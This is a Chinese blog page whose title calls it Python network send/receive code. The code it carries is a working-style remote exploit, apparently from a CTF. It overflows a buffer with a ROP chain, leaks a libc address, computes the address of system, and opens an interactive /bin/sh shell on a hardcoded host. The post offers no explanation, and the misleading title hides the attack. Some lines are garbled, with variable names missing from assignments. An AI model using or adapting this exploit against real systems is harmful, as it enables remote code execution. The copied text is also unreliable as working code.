python 网络发送接收数据代码

14 篇文章 0 订阅
4 篇文章 0 订阅
#coding:utf-8
__author__  =  'Dazdingo'
  
from  socket  import  *
import  struct
import  time
import  threading
import  sys
  
is_recv  =  True
  
sock_host  =  '192.168.206.130'
sock_port  =  8080
  
=  socket(AF_INET, SOCK_STREAM)
  
def  send(ss, tail  =  ''):
   global  S
   if  tail:
     ss  + =  tail
   print  ss
   S.send(ss)
  
def  outputrecv():
   global  S
   while  1 :
     if  is_recv:
       =   S.recv( 1024 )
       if  i:
         sys.stdout.write(i)
  
def  start_recv():
   #start recv
   =  threading.Thread(target  =  outputrecv,  args  =  ())
   t.daemon  =  True
   t.start()
  
def  get_shell():
   #start recv
   start_recv()
  
   global  S
   while  1 :
     time.sleep( 0.1 )
     ss  =  raw_input ()  +  '\n'
     S.send(ss)
  
  
def  main():
   global  S
  
   if  len (sys.argv)  = =  3 :
     sock_host  =  sys.argv[ 1 ]
     sock_port  =  int (sys.argv[ 2 ])
  
   S.connect((sock_host, sock_port))
  
   =  raw_input ( 'pause' )
   print  S.recv( 1024 )
  
   send( 'syclover\x001111111\xf0' )
  
   print  S.recv( 1024 )
  
   ebp  =  '\x20\x99\x04\x08'
   libc  =  '\x5c\x98\x04\x08'  #__libc_start_main
   retaddr1  =  '\xa0\x83\x04\x08'  # write
   retaddr2  =  '\xbe\x85\x04\x08'  #pop;pop;pop;ret
   pop_ebp_ret  =  '\xc0\x85\x04\x08'
   retaddr3  =  '\x60\x83\x04\x08'  # read
   retaddr4  =  '\xd2\x85\x04\x08'  #leave ret
  
    send( 'A' * 0x9c  +  ebp  +  retaddr1  +  retaddr2  +  '\x01\x00\x00\x00'  +  libc  +   '\x04\x00\x00\x00'  + pop_ebp_ret  +  ebp  +  retaddr3  +  retaddr4  +   '\x00\x00\x00\x00'  +  '\x24\x99\x04\x08'  +  '\xf0\x00\x00\x00'  )
  
   time.sleep( 1 )
   =  S.recv( 1024 )
  
   libcaddr  =  struct.unpack( 'I' , l)[ 0 ]
   print  '__libc_start_main:' , hex (libcaddr)
   system  =  libcaddr  +  0x26050
  
   send(struct.pack( 'I' , system)  +  'AAAA' + '\x30\x99\x04\x08'  +  '/bin/sh\x00' )
  
   get_shell()
  
  
if  __name__  = =  '__main__' :
   main()
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值